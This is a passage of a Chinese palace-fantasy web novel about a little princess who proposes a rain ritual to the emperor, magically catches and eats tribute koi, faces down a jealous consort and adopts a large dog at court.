萧杰昀正被大臣们吵得头痛,没想到自己还未开口,团团先发威了。
他嘴角抽搐了一下,费了好大力气才把笑意压下去。
“咳咳。”皇帝清了清嗓子,”嘉佑郡主一路辛苦,赐座。”
他顿了顿,面露微笑:“来人,上茶,嗯…上牛乳,要温的。”
程公公亲自端来一个锦凳放在萧元珩身旁,又从赶来的宫人手中接过牛乳杯子,放在团团手中:“拿稳啊,郡主。”
“谢谢翁翁!”团团这才气哼哼地抱着她的牛乳杯子,稳稳地坐在锦凳上。
萧元珩赶紧伸手,给闺女理了理刚才蹭乱的头发和衣襟。
团团捧着温热的牛乳,小口小口地喝着,白皙的小脸蛋上还带着几道清晰的、被披风压出的粉红睡痕,看起来又委屈又可爱,与方才发威的小老虎判若两人。
周锦华再度出列,将话题拉回:“请陛下三思!罪己诏关乎国本,陛下不可……”
他话未说完,团团抬起头,打断了他:“‘罪己诏’是什么呀?”
周锦华一愣,只得解释:“便是陛下昭告天下,承认自身过失的……”
“过失?”团团一脸疑惑,“皇伯父天天看那么多字,见那么多人,忙得都没空陪我玩,他这么辛苦,为什么还有错呀?”
“这……”周锦华一时语塞,被这最纯粹的逻辑问得哑口无言。
韦政秋见状,立刻接口:“郡主误会了。”
“非是我等认为陛下有错,而是如今天下大旱,百姓皆以为是陛下之责。”
“若不下诏,如何平息这漫天民愤,安定万民之心啊?”
团团听完,想起了回京路上听到的流言,又想起了萧泽说的“越是不让说,他们越觉得是真的。”捧着小杯子,皱着小眉头,再次想不明白了。
哼!毕竟只是个乳臭未干的小儿!能懂什么!无话可说了吧!
周锦华见她低头不语:“陛下!既然郡主认为罪己诏不妥,臣另有一议。”
“天下皆知,大夏有一神童,为神明转世,能呼风唤雨。”
“如今我烈国大旱,而大夏却国风调雨顺,皆因有这位神童庇佑。”
“既然,大夏玉玺在陛下手中,不如以此为凭,请神童亲临烈国,为我等求雨赐福,岂不两全其美?”
神童?又是那个偷神!
团团抬起头,小鼻子一皱,哼了一声:“那个偷神?他才没那个本事呢!”
韦政秋一听,立刻板起面孔,厉声斥责:“嘉佑郡主!还请慎言!大夏神童名动天下,岂是你可以妄加评议的?!”
“他才不是什么神童呢!”团团毫不退缩地瞪了回去,“他来一点儿用都没有!”
韦政秋被她这副“胡搅蛮缠”的样子气得发笑:“郡主年纪小,不知天高地厚倒也情有可原。”
“只是这军国大事,岂容你在此儿戏?莫非你以为,你这黄口小儿,能比那大夏神童还厉害不成?”
萧杰昀沉声道:“韦卿!”
“臣在!”韦政秋连忙应声躬身。
萧杰昀目光落在韦政秋身上,怎么就你蹦跶得欢!
“朕看韦卿是年纪大了,不仅耳朵不灵,连脑子也糊涂了!竟敢在大殿之上,当着朕的面,公然褒扬他国,贬斥功臣!”
团团冲着韦政秋撅了撅嘴:“就是!就是!”
韦政秋浑身一颤,脸上有些难看:“陛下!臣是为国忧心,并非……”
“不必多言!”萧杰昀再次打断他,“既然韦卿身患如此重症,就不必再为国事劳心劳力了。”
“回去好生将养些时日,何时病好了,何时再来见朕!来人!”
两名侍卫应声而入。
“将韦卿,给朕‘请’出宫去,送回府中!”
韦政秋慌忙跪倒:“陛下!陛下恕罪啊!”
侍卫们无视他的连声求饶,毫不客气地将他拉出了大殿。
殿内顿时安静了不少,方才附和他的大臣个个噤若寒蝉,深深埋下了头,不敢再多言。
殿内安静了,但事情仍未解决,萧杰昀微微蹙眉。
天灾民怨皆是实情,并非处置一个臣子就可以解决。
莫非,当真要朕下罪己诏?
团团望着萧杰昀,皇伯父在为流言发愁呢!
大家都说是他的错,可他明明没有错啊!
皇伯父好可怜哦!身上的紫气都不那么亮啦。
紫气!对啊!
团团眼神一亮,从锦凳上蹦了下来,回手将喝光的牛乳杯子递给父亲。
她哒哒哒地跑到御阶前,仰起小脸,声音清脆:“皇伯父,你不用发愁啊!”
“你忘了吗?你是大龙啊!有你这个当皇帝的大龙,去跟老天爷说一声,让它下雨,不就行啦?”
萧杰昀心中一动,对啊,朕是真龙,朕身上有紫气!
那曾经让安娘能恢复神智的紫气!
朕乃天子,祭天求雨正是天子职责!这远比下罪己诏要名正言顺啊!
众臣顿时纷纷进言。
“陛下!郡主此言有理!”
“圣上祭天,昭示天下,必能安抚民心!”
“此乃上策!”
“更能彰显朝廷心系万民!
附议之声此起彼伏。
却仍也有人担忧:“陛下祭天,诚意足可感天动地。可若是祭天之后,仍不下雨,又当如何?”
“若雨仍未落下,必有损圣誉啊!”
“是啊,若祭天无效,民怨恐怕更加……”
“不会啦!”团团转过身,面对着所有人,拍了拍自己的小胸脯,“皇伯父祭天求雨,雨一定会下的!”
萧杰昀看着御阶下站着的那个小小的人儿,她小小一团,却挡在朕的身前,不禁深深动容。
他沉吟半晌,缓缓站起,众臣急忙躬身行礼,萧元珩也急忙站了起来。
萧杰昀朗声道:“传朕旨意,昭告天下。”
“敕封嘉佑郡主为‘祈天仙使’,专司祭天求雨之事。”
“即日起,建祭天台!”
“待神台落成之日,朕,当亲登神台,祭天求雨!”
“退朝!”
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第144章 不关我事哦
萧元珩独自一人回到了王府。
程如安惊讶道:“团团呢?为何没与王爷一同回府?”
萧元珩将今日早朝上的事讲了一遍:“陛下将她留在宫中了。”
“留在宫中?”程如安的眼睛瞪得更大了,“哪个宫里?”
“凤仪宫。”
“皇后宫中?皇后可是慕容家的远亲啊!虽然她与太后素来不睦,但怎么能把团团留在她的宫里呢?”
程如安急了:“不行,我要进宫去求皇上,把团团接回来。”
“不必。”萧元珩拉着妻子的手,轻轻拍了拍,让她一同坐下。
“皇后虽是太后远亲,却因太后掌权,多年来却一直抱病不出。”
“如今太后避居寿成宫念经,皇后才出面执掌六宫。”
“圣上与太后隔阂颇深,能将后宫大权交予皇后,可见皇后并不与太后同心。”
“团团深得圣上宠信,她绝对不敢违逆圣意。否则,我也不会独自回府了。”
程如安听罢心稍稍放下了些,却仍是挂念女儿,愁眉不展:“也不知道团团现在在做什么,会不会饿着,冻着。”
萧元珩笑了:“我的好王妃啊!那是皇宫啊!不会的。团团只是暂留宫中,咱们过几日便去看她,放心吧。”
凤仪宫外。
“启禀皇后娘娘,陛下命老奴将嘉佑郡主送到您这里小住几日。”
“进来吧。”
程公公领着团团走了进去。
凤仪宫内,熏香袅袅,一片寂静。
一个端庄温婉,锦衣华服的女子端坐正中,正是皇后慕容瑾。
团团给她行礼:“团团见过皇后娘娘。”
慕容瑾柔声道:“郡主请起。”
团团起身仰头看去,哇,皇后娘娘真好看!眼睛干干净净的。
慕容瑾也打量着团团,这个小郡主真是名不虚传,粉妆玉琢,好生水灵啊!
一大一小互相凝视,慕容瑾微微一笑:“团团?好名字。”
团团开心地笑了,酒窝深深。
程公公在一旁默默看着,小郡主真是人见人爱,看来皇后娘娘也“沦陷”了,那就老奴便不必在此了。
“娘娘,陛下嘱咐,小郡主喜吃甜食,命娘娘多备些。”
“若郡主有何需要,也请娘娘周全。”
慕容瑾点了点头:“本宫知道了,请回禀陛下,本宫自会尽责。”
程公公行礼,转身离去。
一只通体雪白的狮子猫恹恹地走到团团脚边,用脑袋蹭了蹭她的绣花鞋。
“哇!小猫!”团团高兴极了,蹲下身子就开始撸。
慕容瑾微微惊讶:“雪团儿今日倒是肯亲近人。”
“皇后娘娘,她喜欢我呢!”
慕容瑾微微点头:“确实如此,这猫脾性大,往常除了本宫,谁都碰她不得。”
“只是,这猫儿近日精神不济,总是蔫蔫的,吃的也少。”
“宫里的兽医来瞧过好几回了,也找不到缘由。”
团团轻轻抚摸着雪团儿的脊背,歪着头,对着它“喵”了一声。
雪团儿也仰起头,细声细气地回应了一声“喵呜”。
一人一猫,你一声我一声,有来有往。
慕容瑾看着有趣:“你这孩子,还能听懂它说话不成?”
团团抬起头:“皇后娘娘,它不是有病哦。”
慕容瑾一怔:“哦?”
“它不喜欢天天被关在屋子里,也不喜欢吃那些硬邦邦的肉干。”
“它不高兴啦!我带它出去玩玩就好咯!”
慕容瑾有些犹豫:“出去?御花园景致虽好,可雪团儿若去,会跑丢的。”
“娘娘放心!”团团抱起雪团,对着她开始碎碎念,“雪团儿啊,我们出去玩,你不许乱跑哦!”
“乱跑会找不到家的!你回不来,皇后娘娘就要伤心掉眼泪啦!要一直在我看得见的地方玩,知道吗?”
“喵呜“雪团儿听懂了似的应了一声。
“噗嗤。”慕容瑾没忍住,笑了出来,点了点头,吩咐了两个稳妥的宫女跟着。
团团抱着雪团儿,跟着宫女来到了御花园。
“哇!这里好大哦!”团团将雪团放到地上,“去玩吧!”
雪团儿果真如同换了只猫一般,“嗖”的一声便窜上了假山,巡视了片刻,看到花丛中翩跹的蝴蝶,又“嗖”地一下跳下来去扑。
白色的身影在花草间灵活穿梭,却始终不离开团团的视线范围。
两个宫女互相看了一眼,这雪团儿,哪还有半分病的样子?
小郡主说的还真对啊!
疯玩了一阵后,雪团儿似乎是累了,跑到碧波池边,趴了下来。
它盯着池水里几尾肥硕鲜艳、慢悠悠游动的锦鲤,伸出了雪白的小爪子。
它试探性地挠了挠水面,鱼儿顿时受惊散开,片刻后又聚拢回来。
雪团儿数次“出爪”,都没能碰到鱼儿半点,急得“喵呜”直叫,围着池边打转。
团团跑过去,蹲在它旁边,一只小手托着腮,看着水里那些异常肥美的鱼儿,眨了眨眼:“雪团儿,你想吃鱼呀?”
这章没有结束,请点击下一页继续阅读!“喵!”雪团儿叫得更大声了。
“是挺肥的。”团团盯着那几尾胖鱼,舔了舔嘴唇,“看起来很好吃的样子,我也想吃。”
一旁的宫女一听,脸都吓白了,连忙上前劝阻:“郡主,这可使不得!这锦鲤,是外邦进贡来的,统共就这么几尾,稀罕得很呢!”
团团“哦”了一声,大眼睛里闪过一丝狡黠。
宫女们见她不再打鱼的主意,便都退到了后面,没敢远离,也没再靠近。
雪团儿还守在池边,一副不到手誓不罢休的样子。
团团却没再看鱼,而是低头在池边铺着的鹅卵石滩上寻找起来。
突然,她眼神一亮,这个正合适!
她捡起一截小指粗细、枯黄却颇有韧性的小树枝,将它弯成了鱼钩形状,攥在了手心里。
一人一猫,一起背对着宫女们,继续蹲在池边。
团团嘴里开始念叨:“小鱼小鱼快上岸,别在水里瞎打转。”
“这里有食给你吃,还有猫咪跟你玩!”
她偷偷回头看了一眼,只见两个宫女并没有盯着自己,于是将手里的东西往水中扔去。
树枝做的鱼钩落入水中,一道微光闪过,瞬间消失无踪。
下一刻,平静的池面像是突然沸腾了!
扑通!扑通!扑通!
一条接一条的锦鲤,仿佛着了魔一般,奋力摆尾,争先恐后地从水里飞跃而出,重重地摔在岸边。
有一条险些砸到了旁观的雪团儿,吓得雪团儿喵呜一声跑到了假山后面,探头探脑地往水边看。
宫女们惊得魂飞魄散,手忙脚乱地冲上去捡起鱼,就往水里扔。
可那些鱼像是铁了心要上岸,刚丢回去一条,立刻又有两三条蹦跶上来。
不过片刻功夫,岸上已经躺了四五条扑腾着尾巴的大肥鱼,个个都有一尺来长。
团团满意地看着这场面,眼睛都弯成月牙了。
她利索地脱下自己的外裳,铺在地上,招呼雪团儿:“快来帮忙呀!”
幸好在圣医谷跟二叔叔他们打包过灵草!
她将那些还在蹦跶的鱼一条条捡起来放到衣裳上。
雪团儿也在一旁兴奋地用爪子帮忙拨弄。
“郡主!这!这不行啊!”宫女们看着她趴在地上非常专业地打着包,欲哭无泪。
团团把包袱的四角系好,费力地往肩上一扔,小身子都被压得晃了晃,兴奋得小脸通红。
她对着目瞪口呆的宫女们理直气壮:“你们都看见啦,是它们自己非要上来的,不关我事哦!”
“走,雪团儿,咱们回去找皇后娘娘,吃鱼去!”
团团掉头就往凤仪宫走去。
雪团崇拜地仰着头望着她,贴着她的腿跑来跑去,紧紧跟随。
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第145章 我一定要除掉她
团团扛着那个湿漉漉、沉甸甸的“鱼包袱”,在雪团儿欢快的簇拥下,走进了凤仪宫。
她开心地大喊了一声:“皇后娘娘!我们回来啦!”把包袱往地上一扔。
慕容瑾闻声抬头,手中的茶盏差点掉到地上。
只见,刚才还干干净净、整整齐齐的小团子,此刻发髻微乱,几缕碎发湿湿地贴在额头上。
身上的小衣服乱七八糟,水珠滴滴答答直往地毯上落。
而那只原先病恹恹的雪团儿,此刻正精神抖擞,亦步亦趋地跟在她的脚边,毛茸茸的尾巴高高翘起,在她的小腿上来回来去,亲昵地不停蹭着。
“你!你这是!”慕容瑾站起身,指着地上还在微微动弹的包袱,半天没问出一句整话。
团团蹲下来,用力将系紧的衣角散开,肥硕鲜活、鳞片闪耀的锦鲤噼里啪啦地露了出来,有两条还在顽强地扭动着身子。
“娘娘你看!”团团小手指着鱼,脸蛋红扑扑的,“御花园里有个池子,里面的鱼好大啊!”
“雪团儿说她想吃鱼,我俩就去抓啦!这些鱼可乖了,都是自己跳上来的!皇后娘娘,咱们晚上有鱼吃啦!”
自己跳上来的?我怎么这么不信呢。
慕容瑾看了看地上的锦鲤,又看了看眼前这个眼神清澈、理直气壮的小姑娘,一时竟不知该作何反应。
责备她闯祸?可她那一脸等着被夸奖的小模样,让人如何硬得起心肠?
何况,雪团儿确实活泼如初。
她噎了片刻,最后摇了摇头,无奈地轻笑一声:“你呀……”
她上前拉起团团的小手,触手一片冰凉,眉头立时皱起,吩咐左右:“还愣着干什么?赶紧准备热水,伺候郡主沐浴更衣!这一身湿衣裳还贴在身上,着了凉可怎么好!”
宫人们这才如梦初醒,连忙上前。
团团被宫女们牵着往后殿走去,还不忘一步三回头地叮嘱:“娘娘,您等等我呀!等我洗完再吃!”
慕容瑾看着地上那一大堆鱼,扶额道:“放心吧,少不了你的!”
“来人!把这些锦鲤……不,鱼,送去御膳房,告诉他们,仔细料理,今晚凤仪宫,吃全鱼宴!”
刚走到门口的团团听见了,挣脱了宫女的手,扒着门框探回头来,脆生生地加了一句:“娘娘!派人去告诉皇伯父一声呗,喊他也来吃!他可喜欢跟我一起吃饭呢!”
说完,团团就被无奈的宫女们半哄半抱地带走了。
殿内霎时一静。
慕容瑾的笑意凝滞在脸上。
去请陛下?陛下已经许久未曾踏足这凤仪宫了。
一旁的心腹婢女思雨最懂眼色,眼珠一转,立刻躬身笑道:“娘娘,郡主这是心里念着陛下呢!”
“有了好吃的,头一个就想着请陛下尝尝,这是郡主的纯孝之心,陛下若是知道郡主这般惦记他,必定圣心大悦,不如,奴婢这就去回禀?”
慕容瑾目光闪烁,神情复杂。
自己身为太后远亲,本就是太后为着后位不落入他人之手,硬塞到皇帝身边的。
这些年陛下与自己,往好听了说,是相敬如宾。
实则就是敬而远之。
自己也不愿夹在这皇家母子之间,因此只能长期抱病不出,以至于这些年都没有子嗣。
若非陛下突然与太后起了嫌隙,恐怕这凤仪宫的大门,永远都不会开启。
上一次与陛下一同用膳是何时来着?
竟然记不得了,太久了,实在是太久了。
思雨见她想出了神,轻声又问了一句:“娘娘?奴婢这就去?”
慕容瑾心中一动:“去吧,将今日郡主所为,也讲给陛下。”
“是。”思雨转身离开。
团团沐浴完毕,换上了干净清爽的新衣裳,带着一身皂角的清香回到了正殿。
偌大的饭桌上,已经被各式精致的菜肴摆满了:清蒸鱼,红烧鱼,鱼脍……奶白色的鱼汤香气四溢,炸得金黄的鱼块看着便令人食指大动。
她刚爬上椅子,殿外传来一声:“陛下驾到——”
萧杰昀大步流星地走了进来,一眼就看到了桌边那个眼巴巴望着菜肴的小团子,朗声一笑,俯身便将团团抱了起来。
慕容瑾急忙起身行礼:“臣妾给陛下请安,陛下万安。”
萧杰昀看了她一眼:“免礼。”
他掂了掂怀里的小团子:“朕听说你今日在御花园,把朕的碧波池钓空了一半?还特意请朕来品尝?”
团团搂着他的脖子,用力点头,小嘴凑到他耳边:“皇伯父,我跟你说啊,那些鱼可笨啦,都是自己蹦上岸的!我没骗你哦!”
自己上岸的?凭你那能把老虎收服了的本事,定是你搞的鬼!
萧杰昀哈哈大笑,一整日的疲惫一扫而空,他宠溺地捏了捏团团的脸蛋:“好!那朕今晚可要好好尝尝,我们小福星亲自‘请’上来的鱼,是何等的美味!”
慕容瑾亲自动手,给皇帝布菜,时不时的还给团团的碗里添上一些。
这章没有结束,请点击下一页继续阅读!团团坐在二人中间,一会儿给这边夹一筷子,一会儿给那边添一勺子,童言童语不断,吃得喷香喷香。
雪团儿早已吃得肚子溜圆,趴在一旁的贵妃榻上添着爪子洗着脸。
帝后二人相视一笑。
凤仪宫内,灯火温馨,香气弥漫,一派其乐融融。
思雨站在一旁,忍不住心中感叹,娘娘身边,就缺郡主这样一个孩子啊!
同一时间,大夏,国师府。
公孙止缓缓睁开了双眼,面色灰败。
姜信轻声道:“殿下?”
公孙止“嗯”了一声,姜信将他扶起,靠在床头,扬声道:“殿下醒了,速请国师过来。”
“是。”门外下人的脚步声渐渐走远。
不多时,国师巫罗走了进来,递给公孙止一碗乌黑的药汁:“喝了它。”
公孙止接过来,仰起头一饮而尽。
巫罗坐到床边:“殿下不必担忧,你的身子并无大碍,只是急怒攻心而已。”
公孙止想了想,摇了摇头:“国师,我离开圣医谷时尚且无事。”
“是骑在马上的时候,突然感到胸口如遭重锤,这才吐血落马,国师,定是有人对我暗下杀手。”
巫罗看着他:“殿下多心了,我的医术,你还信不过吗?”
公孙止的脸色渐渐红润起来:“国师的医术自然是不会错的。”
“国师,你要帮我。此次我在烈国遇到一个女娃娃,竟能勘破我身上的气运!”
“想起她我便心里不安,我一定要除掉她!”
巫罗目光闪烁:“能勘破你身上气运的,女娃娃?”
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第146章 都在这里啦
次日一早。
皇帝在皇后宫中用膳,当晚便留宿于凤仪宫。
这破天荒的消息,像长了翅膀一样,传遍了后宫每一个角落。
“听说了吗?陛下昨夜宿在凤仪宫了!”
“真是太阳打西边出来了!”
“可不是嘛!陛下都多久没进过凤仪宫的大门了!”
“好像是,因为那位小郡主如今住在凤仪宫里。”
“啧啧啧,这位小郡主啊,真是个有大福气的!”
“可不是嘛!听说昨晚那凤仪宫里,欢声笑语,可热闹呢!”
“有她在,搞不好陛下以后日日会去!”
“皇后娘娘这回可是真得宠了!”
正在御花园凉亭中一起品茶的惠妃与容妃脸色越听越难看。
容妃撂下手中茶盏,艳丽的脸上全是不满:“陛下都多久没进过凤仪宫了!皇后娘娘宫中空旷了这么多年,还想铁树开花不成!”
“妹妹慎言。”惠妃轻轻按住她的手,“陛下不过是感念皇后娘娘操持宫务辛苦,加之郡主在她宫中,多些眷顾也是常情。妹妹何必在意。”
容妃刚想再开口,一个穿着宝蓝色小袍子的身影哭着跑了过来,一头扎进她的怀里,正是她刚满六岁的十一皇子萧林。
“母妃!母妃!呜呜呜……”
容妃搂着儿子,用锦帕给他擦拭脸上的泪水:“怎么了,林儿?谁欺负你了?”
“母妃!我的鱼没了!呜呜呜……”萧林哭得上气不接下气,“那几条最好看的、身上红黄花纹的鱼,全都不见啦!”
“鱼怎么会不见了?”
“她们说,是被那个新来的小郡主抓走了!”
“那是我每日喂大的鱼!她凭什么抓我的鱼!”
儿子的哭声像一把刀子,绞得容妃的心发痛。
“哎呦!那几尾锦鲤,可是外邦贡品呢!”惠妃惊呼了一声,随即微微摇头,“陛下平日都爱惜得紧,皇后娘娘怎么,竟由着郡主的性子胡来呢。”
她幽幽叹气:“皇后娘娘也真是,陛下这不过才去了一晚嘛。”
“贡品啊,怎么能如此纵容小郡主,说抓就抓呢?这要是传了出去,岂不是让人笑话咱们这后宫毫无纲纪了?”
她拿起桌上的糕点递给萧林:“乖啊,别哭了,让皇后娘娘听见,可不好呢。”
“唉,许是皇后身边太久没有孩子,一时欢喜得忘了形。”
容妃一拍桌子:”怎么?她宫里的孩子拿贡品都不当回事儿,我儿子哭几声还得憋着不能让她听见?”
“她忘了形,我却不能视而不见!”
她猛地站起身:“我这便去凤仪宫,问问皇后娘娘,这后宫的规矩法度,还要不要了!”
惠妃伸出手似是想拉住她:“妹妹!切莫如此!如今皇后掌管六宫,你当面顶撞,怕是要吃亏的!”手却迟迟没碰到容妃的半片衣裳。
容妃牵着仍在不停抽噎的儿子,怒气冲冲地直奔凤仪宫。
经过回禀,走进正殿,容妃猛地顿住了脚步。
以往冷冷清清的凤仪宫,此时满殿温馨。
那个闯了祸的小郡主满脸是笑地正和皇后养的狮子猫满屋子追逐嬉戏,银铃般的笑声不绝于耳。
慕容瑾坐于主位,唇角噙着一抹温柔纵容的笑意,目光始终追随着那小小的身影。
这是?容妃眼尖,一眼看到皇后手边的茶几上,躺着一枚极其眼熟的九龙玉佩!
那分明是圣上的贴身之物!
陛下今晨竟是匆忙至此吗?
容妃只觉得一股真火直冲头顶,她强压怒气,拉着儿子一起冲着慕容瑾草草行了一礼:“臣妾参见皇后娘娘。”
慕容瑾脸上的笑意淡了几分:“容妃此时求见,有何要事?”
“臣妾是为正后宫纲纪而来!”容妃挺直腰背,怒气冲冲,“才刚我儿去碧波池喂鱼,竟发现池中数尾珍贵的贡品锦鲤不翼而飞!”
“有宫人告知,此乃昨日嘉佑郡主所为!”
“嘉佑郡主目无宫规,擅动贡品,理应受罚!”
“皇后娘娘如今统驭六宫,当公正处置,以正视听,方为六宫表率!”
听见母亲的话,萧林本已停下的哭泣再度响起:“我的鱼!我的鱼不见了!呜呜呜,我要找它们!它们在哪里啊!”
正在追猫的团团闻言停了下来,眨巴着大眼睛看向萧林,理所当然地拍了拍自己的小肚子,“啊,你说昨天那些自己跳上岸的鱼呀?它们回不来啦,都在这里啦!”
萧林听了先是一愣,随即“哇”的一声,哭得惊天动地。
团团歪了歪头,满脸不解:“你的鱼为什么要养在外面呀?不养在你自己的宫里?我又不知道它们是你的!”
“你!”容妃被她气得头晕,“强词夺理!贡品便是贡品!养在哪里都是贡品!岂容你胡来!”
她转向慕容瑾:“皇后娘娘,您都听到了,郡主已亲口承认,还请娘娘秉公处置!”
慕容瑾静静听完,忍住翻白眼的冲动,缓缓开口:“处置?本宫看,不必了。”
这章没有结束,请点击下一页继续阅读!容妃一怔:“娘娘这是要包庇纵容郡主吗?”
“容妃。”慕容瑾语气淡然,“因为那些鱼,陛下与本宫,也一同用了。昨晚本宫的全鱼宴,便是用那些鱼做的。”
容妃惊讶得嘴都闭不上了:“陛,陛下?”
慕容瑾微微颔首:“容妃,若依你所言,吃了那鱼便是犯了宫规,难不成,你今日是想连本宫与陛下一同处置了?”
容妃的脸色由青转白,半天一个字都没说出来。
处置帝后?给她一万个胆子她也不敢!
她僵在原地,进退维谷,突然觉得,自己这趟就不该来!
“林儿!”她转身想叫上儿子赶紧离开。
一回头,却看到方才还哭得撕心裂肺的儿子,不知何时已经和团团蹲在了一起。
正伸出小手去试图去摸那只高冷的狮子猫。
“别怕啊!它的毛毛可软啦!你学我!要这样摸,它才会愿意让你碰呢!”
团团扶着萧林的小手,轻轻地放在了雪团的后背上。
雪团没有躲开,神情高傲,矜持地甩了甩尾巴。
萧林惊喜地抬起头,脸上还挂着泪珠,却已经笑得心花怒放:“母妃!你看!雪团儿肯让我碰了!它以前都不理我的!团团真好!”
容妃一阵头晕目眩,一口气堵在胸口,闷得她几乎喘不过气来。
她咬着牙,挤出了一句:“过来!皇后娘娘,臣妾告退!”
萧林见状,虽然非常不舍,还是乖乖地跟了出去,走到殿门还没忘回头冲着团团和雪团儿摆了摆手:“我以后再来玩啊!”
慕容瑾望着母子二人的背影,看了一眼团团,哭笑不得地摇了摇头。
容妃回到自己的宫中,惠妃正端坐在殿内。
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第147章 我来啦
惠妃看到母子二人:“妹妹,我放心不下你,故而特意在此等候。皇后娘娘她?”
容妃气哼哼地坐下,一言不发。
看来她这趟去,没能讨到什么便宜。
惠妃柔声劝阻:“妹妹莫要动怒,气坏了身子可怎么好。”
“往后日子还长呢,陛下未必就此便会一直宠爱皇后,妹妹何必放在心上?”
“不知那位小郡主……”
萧林在一旁接口:“团团很好呢!虽然她吃了我的鱼,但她也让我摸到了雪团儿,我不怪她啦!”
“吃?吃!那些贡品竟然是被小郡主吃了?”惠妃惊讶得瞪大了眼睛。
萧林点了点头:“对啊!父皇和母后也一起都吃了呢!”
“团团说,味道挺好的!”
惠妃一时哑然,万万没有料到,竟是这样的结果。
她犹豫了片刻,站起身来,轻轻拍了拍一直沉默不语的容妃的手背:“圣上如此宠爱这位小郡主,咱们这些有正经皇子的,真是自愧不如啊。”
见容妃仍旧没有讲话的意思,惠妃有些尴尬:“妹妹乏了吧,那本宫告辞了,你好生歇息吧。”说完,转身离开了。
容妃看着她的背影,仔细回想方才她在御花园中讲的话。
好你个惠妃,又拿我当枪使!你站在一旁看热闹!
啪的一声,她将手中的锦帕狠狠扔在了地上。
凤仪宫中,团团百无聊赖:“皇后娘娘,雪团儿也是进贡的吗?”
慕容瑾想了想:“对,不过,本宫是从宫里的猫狗园里把它抱回来的。”
团团眼睛顿时一亮:“猫狗园?宫里的?”
慕容瑾点了点头:“对,就在皇宫的西南角,有个颇大的院落,专门用来饲养这些进贡来的猫儿狗儿,本宫就是那里选中了雪团。”
“我想去看看!”团团立马蹦了起来。
“……”慕容瑾突然有些后悔,但已经来不及了。
团团走到她身边,拉着她的衣袖不停摇晃,大眼睛亮晶晶的:“我想去看看嘛,皇后娘娘,让我去吧,好不好?”
慕容瑾无奈地吩咐了两个宫女跟着她。
团团跟着宫女来到了猫狗园:“哇!这么多!”
大大小小的笼子里,关着各种各样的猫狗,有常见的,但更多的却是极其珍稀的。
看管猫狗园的宫人听说是小郡主来了,急忙迎了上来:“小郡主打算看什么?小猫还是小狗?”
团团背着小手,走来走去四处看,最后,停在了一只长相像极了狼一样的大狼狗面前。
宫人看着她背着手站在那里,还没笼子里的狗高,冷汗涔涔,恨不得赶紧再在笼子上多加两把锁。
“小郡主,这狗送来的时候,说是专门在雪地里能拉着车跑的,所以体型巨大,您还是合适看看小型的。”
团团仰起脸,大狼狗低下头,彼此对视了片刻:“你长得这么大,关在这个小小的笼子里多难受啊?”
大狼狗的眼睛动了动。
“我带你出去好不好?不过,你不许咬人哦!除非……我让你咬。”
宫人一惊:“小郡主!这是宫里啊,到处都是贵人,谁都不能咬啊!”
“知道啦,知道啦!”团团冲他一伸手,”给我拿块它爱吃的肉来。”
宫人急忙把肉取来,还拿了一个长柄的木夹子,递给团团:“小郡主,您使这个夹着伸进去就可以喂了。”
团团看了他一眼,小手一伸,抓起了那块肉,直接伸进了笼子里。
宫人吓得魂飞魄散:“天哪!不行啊!”伸手就拉住了她的胳膊。
“没事儿啦!”团团推开他的手,看着大狼狗,”吃吧,不过,说好了哦!吃了这块肉,就要听我的哦!”
大狼狗低下头,在她手上嗅了嗅,喉咙里发出威胁的低吼。
“哎呀妈呀!”宫人腿都软了。
团团却浑不在意,小手稳稳地举着肉:“别怕啊!没关系,跟我走,我保护你呀。”
下一刻,大狼狗的低吼声消失了,巨大的舌头一卷,将肉送进了嘴里。
团团开心的笑了:“你答应啦!把笼子打开,它愿意跟我走!”
宫人脸上的笑容扭曲着,吃了你喂的肉就算答应了?那我还天天都喂它呢!它还不是照样跟我呲牙!
但没有办法,还是将笼子打开了。
大狼狗猛地窜了出来,撒开腿就在院子里飞奔起来。
其他笼子里的狗儿们见状都开始狂吠。
团团满意的点了点头:“别着急!你们也会有人领你们出去的!”
待大狼狗跑了几圈停了下来,团团冲着它招了招手:“过来吧。”
大狼狗听话地跑了过来,伸出舌头就在团团脸上舔了起来。
小团子咯咯直笑:“好啦,好啦!跟我回去吧!”
宫人急忙拿来了绳子,给大狼狗套上,还想给它带上一个束口套时,被团团拦了下来:“它不会咬人的,不要给它戴这个,它不舒服。”
牵着大狼狗,团团兴高采烈的回到了凤仪宫里。
宫女们纷纷尖叫着四处逃散:“狼!狼啊!”
慕容瑾听到动静走到殿外,看到小团子站在一条比她还高了许多得大狼狗旁边,惊得险些站立不稳:“团团!”
团团看了看四周:“别怕啊!它很好的!不会咬人的!”
“皇后娘娘,有没有狗窝啊?它以后就住在这里啦!”
“啊?住,住本宫这里?”慕容瑾捂着胸口。
“对啊!因为我住在这里嘛!”
慕容瑾稳了稳心神:“
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来人,去!问问,有没有狗舍,让他们送一个过来!”
“是!”
团团搂着大狼狗的一条大腿,指着慕容瑾:“那位呢,就是皇后娘娘。”又指了指躲在各处探出脑袋看的宫人们,“他们呢,也住在这里,以后这里就是你的家啦!”
大狼狗听懂了一样,喉咙里呜呜低吼了一声。
“哦对了!”团团突然想起来了,指了指正殿,“你不要进这里面哦!这里面住着一只小猫,它太小了,见到你会害怕。”
大狼狗又回敬了团团几个大舌头舔舔。
不多时,宫人们抬来了一个巨大的狗舍,跟个小房子似的,安顿在了凤仪宫的一角。
团团又命人拿来了几床被子,铺在了里面:“喏,以后你就睡这里啦。”
大狼狗四处嗅闻,钻进去卧下了。
团团十分满意:“她们都说你像狼,就叫你……大狼吧!”
大狼没吭声,团团点了点头:“你不反对,就是同意啦,大狼!”
大狼低下了头,似是认下了。
她转身跑进了大殿:“皇后娘娘,我要出去找一个人!”
慕容瑾正扶着额角坐在椅中:“谁?不用你出宫,本宫让她们去给你找。”
“哦,那也行,让他们去私物坊,把冯舟叫过来一趟!”
“快去!拿上凤仪宫地腰牌,给郡主把这个冯舟叫过来!”
冯舟听到团团找他进宫,兴奋不已,可算是有机会能为盟主效力了!立刻放下手边所有要事,匆匆赶到了凤仪宫。
“盟主,有何吩咐?”
团团带着他来到了大狼的住处:“喏,按着它的大小,给我做一个我能坐下的小车,以后,它就可以拉着我啦!”
冯舟:“……”
天哪!我是做兵器的啊!
“不行吗?私物坊连这个都做不出来?”团团很奇怪。
“能!当然能!我回去就画图,明日就给盟主送过来!”
团团非常满意:“太好啦,那我等着啦!”
次日,小车送来了,尺寸合适,精巧异常,大狼套上小车,团团坐在里面,手里拉着缰绳:“跑吧!大狼!使劲跑!”
大狼血脉苏醒,撒腿狂奔,从凤仪宫冲了出去。
慕容瑾指着小狗车:“这孩子!这孩子真的是!不行了,本宫要回去躺一下,缓一缓。”
